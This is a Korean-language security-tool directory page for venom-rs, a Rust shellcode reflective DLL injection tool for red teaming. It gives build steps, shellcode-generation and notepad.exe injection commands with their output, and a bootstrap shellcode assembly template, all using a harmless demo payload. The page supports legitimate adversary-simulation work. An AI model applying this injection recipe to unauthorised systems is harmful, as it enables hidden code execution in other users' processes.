Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
도구/GitHubGitHub/memn0ps/venom-rs
ShellcodePost-ExploitationRed TeamingShellcode GenerationPayload DevelopmentArchived
GitHubmemn0ps/venom-rs

venom-rs

Rusty Injection - Rust로 구현된 Shellcode Reflective DLL Injection (sRDI) (코드네임: Venom)

저장소 보기
3704852년 전Kitploit 검토 완료

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

Rust로 구현한 Shellcode Reflective DLL Injection (sRDI) (코드명: Venom)

셸코드 리플렉티브 DLL 인젝션(sRDI)은 주어진 DLL을 위치 독립 코드로 변환한 다음, 우리가 선호하는 셸코드 인젝션 및 실행 기법을 이용해 인젝션할 수 있게 해주는 프로세스 인젝션 기법입니다.

특징

  • 리플렉티브 로더의 크기는 약 4KB입니다.

  • 인젝터가 할당한 메모리를 해제하지 않으며, 해당되는 경우 사용자 인젝터가 설정한 기존 RWX 권한도 제거하지 않습니다.

  • 이미지 리베이스 또는 임포트 해석 전후에 새로 할당된 메모리의 DOS 또는 NT 헤더를 덮어쓰거나 지우지 않습니다.

  • VirtualAlloc 함수로 할당된 각 섹션에 보호 설정을 적용한 후, DllMain 또는 SayHello 함수를 실행합니다.

OPSEC은 어떻게 하냐고요? 직접 구현해 보세요 :)

사용 방법

0). Rust 설치

1). 모든 프로젝트를 빌드합니다

root@kitploit:~
cargo build --release

2). 셸코드를 생성합니다.

root@kitploit:~
PS C:\Users\memN0ps\Documents\GitHub\srdi-rs\target\release> .\generate_shellcode.exe -h
Shellcode Reflective DLL Injection (sRDI)

Usage: generate_shellcode.exe [OPTIONS] --loader <LOADER> --payload <PAYLOAD> --function <FUNCTION> --parameter <PARAMETER> --output <OUTPUT>

Options:
      --loader <LOADER>        The reflective loader DLL path (loader.dll)
      --payload <PAYLOAD>      The payload DLL path (payload.dll)
      --function <FUNCTION>    The function to execute inside payload.dll (SayHello)
      --parameter <PARAMETER>  The parameter to pass to the function inside payload.dll (https://localhost:1337/)
      --output <OUTPUT>        The output file path (shellcode.bin)
      --flags <FLAGS>          The 0x0 flag will execute DllMain and any other flag will execute the function inside payload.dll (SayHello) [default: 1]
  -h, --help                   Print help
  -V, --version                Print version
PS C:\Users\memN0ps\Documents\GitHub\srdi-rs\target\release>

3). 자체 인젝터(BYOI)를 준비하고, 선호하는 인젝션 및 실행 기법으로 위치 독립 코드를 인젝션하거나 저장소에 있는 인젝터를 사용합니다.

root@kitploit:~
PS C:\Users\memN0ps\Documents\GitHub\srdi-rs\target\release> .\inject.exe -h
Simple Injector for PoC

Usage: inject.exe --process <PROCESS> --file <FILE>

Options:
      --process <PROCESS>  The target process name (notepad.exe)
      --file <FILE>        The PIC file path (shellcode.bin)
  -h, --help               Print help
  -V, --version            Print version
PS C:\Users\memN0ps\Documents\GitHub\srdi-rs\target\release>

예제

root@kitploit:~
PS C:\Users\memN0ps\Documents\GitHub\srdi-rs> cargo build --release
    Finished release [optimized] target(s) in 0.04s
PS C:\Users\memN0ps\Documents\GitHub\srdi-rs>

DLLMain

root@kitploit:~
PS C:\Users\memN0ps\Documents\GitHub\srdi-rs\target\release> .\generate_shellcode.exe --loader .\reflective_loader.dll --payload .\payload.dll --function SayHello --parameter https://127.0.0.1:1337/ --flags 0 --output shellcode.bin

Loader Path: .\reflective_loader.dll
Payload Path: .\payload.dll
Output Path: shellcode.bin
[+] Reflective Loader Offset: 0x400
[!] Bootstrap Shellcode Length: 79 (Ensure this matches BOOTSTRAP_TOTAL_LENGTH in the code)
[+] Reflective Loader Length: 3584
[+] Payload DLL Length: 113664
[+] Total Shellcode Length: 117350
[*] loader(payload_dll: *mut c_void, function_hash: u32, user_data: *mut c_void, user_data_len: u32, _shellcode_bin: *mut c_void, _flags: u32)
[*] arg1: rcx, arg2: rdx, arg3: r8, arg4: r9, arg5: [rsp + 0x20], arg6: [rsp + 0x28]
[*] rcx: 0xe4a rdx: 0x756de3c6 r8: https://127.0.0.1:1337/, r9: 0x17, arg5: ???, arg6: 0
PS C:\Users\memN0ps\Documents\GitHub\srdi-rs\target\release>
root@kitploit:~
PS C:\Users\memN0ps\Documents\GitHub\srdi-rs\target\release> .\inject.exe --process notepad.exe --file .\shellcode.bin

[+] Process ID: 9944
[+] Process handle: 184
[+] Allocated memory in the target process for the shellcode: 0x19e49950000
PS C:\Users\memN0ps\Documents\GitHub\srdi-rs\target\release>

./ExampleDllMain.png

SayHello

root@kitploit:~
PS C:\Users\memN0ps\Documents\GitHub\srdi-rs\target\release> .\generate_shellcode.exe --loader .\reflective_loader.dll --payload .\payload.dll --function SayHello --parameter https://127.0.0.1:1337/ --flags 1 --output shellcode.bin

Loader Path: .\reflective_loader.dll
Payload Path: .\payload.dll
Output Path: shellcode.bin
[+] Reflective Loader Offset: 0x400
[!] Bootstrap Shellcode Length: 79 (Ensure this matches BOOTSTRAP_TOTAL_LENGTH in the code)
[+] Reflective Loader Length: 3584
[+] Payload DLL Length: 113664
[+] Total Shellcode Length: 117350
[*] loader(payload_dll: *mut c_void, function_hash: u32, user_data: *mut c_void, user_data_len: u32, _shellcode_bin: *mut c_void, _flags: u32)
[*] arg1: rcx, arg2: rdx, arg3: r8, arg4: r9, arg5: [rsp + 0x20], arg6: [rsp + 0x28]
[*] rcx: 0xe4a rdx: 0x756de3c6 r8: https://127.0.0.1:1337/, r9: 0x17, arg5: shellcode.bin addy, arg6: 1
PS C:\Users\memN0ps\Documents\GitHub\srdi-rs\target\release>
root@kitploit:~
PS C:\Users\memN0ps\Documents\GitHub\srdi-rs\target\release> .\inject.exe --process notepad.exe --file .\shellcode.bin
[+] Process ID: 9944
[+] Process handle: 184
[+] Allocated memory in the target process for the shellcode: 0x19e499c0000
PS C:\Users\memN0ps\Documents\GitHub\srdi-rs\target\release>

./ExampleSayHello.png

설명

부트스트랩 셸코드:

root@kitploit:~
call 0x00
pop rcx
mov r8, rcx

push rsi
mov rsi, rsp
and rsp, 0x0FFFFFFFFFFFFFFF0
sub rsp, 0x30

mov qword ptr [rsp + 0x20], rcx
sub qword ptr [rsp + 0x20], 0x5
mov dword ptr [rsp + 0x28], <flags>

mov r9, <parameter_length>
add r8, <parameter_offset> + <payload_length>
mov edx, <parameter_hash>
add rcx, <payload_offset>

call <loader_offset>

nop
nop

mov rsp, rsi
pop rsi
ret

nop
nop

메모리상의 shellcode.bin 파일 레이아웃:

sRDI

크레딧: Nick Landers @(monoxgas)

참고 자료 및 크레딧

  • https://www.netspi.com/blog/technical/adversary-simulation/srdi-shellcode-reflective-dll-injection/
  • https://github.com/monoxgas/sRDI
  • https://github.com/stephenfewer/ReflectiveDLLInjection/
  • https://discord.com/invite/rust-lang-community (Rust Community #windows-dev channel)
  • https://github.com/dismantl/ImprovedReflectiveDLLInjection
  • https://disman.tl/2015/01/30/an-improved-reflective-dll-injection-technique.html
  • https://bruteratel.com/research/feature-update/2021/06/01/PE-Reflection-Long-Live-The-King/
  • https://github.com/Cracked5pider/KaynLdr
  • https://github.com/Ben-Lichtman/reloader/
  • https://github.com/not-matthias/mmap/
  • https://github.com/memN0ps/mmapper-rs
  • https://github.com/2vg/blackcat-rs/tree/master/crate/mini-sRDI
  • https://github.com/Jaxii/idk-rs/
  • https://github.com/janoglezcampos/rust_syscalls/
도구 다운로드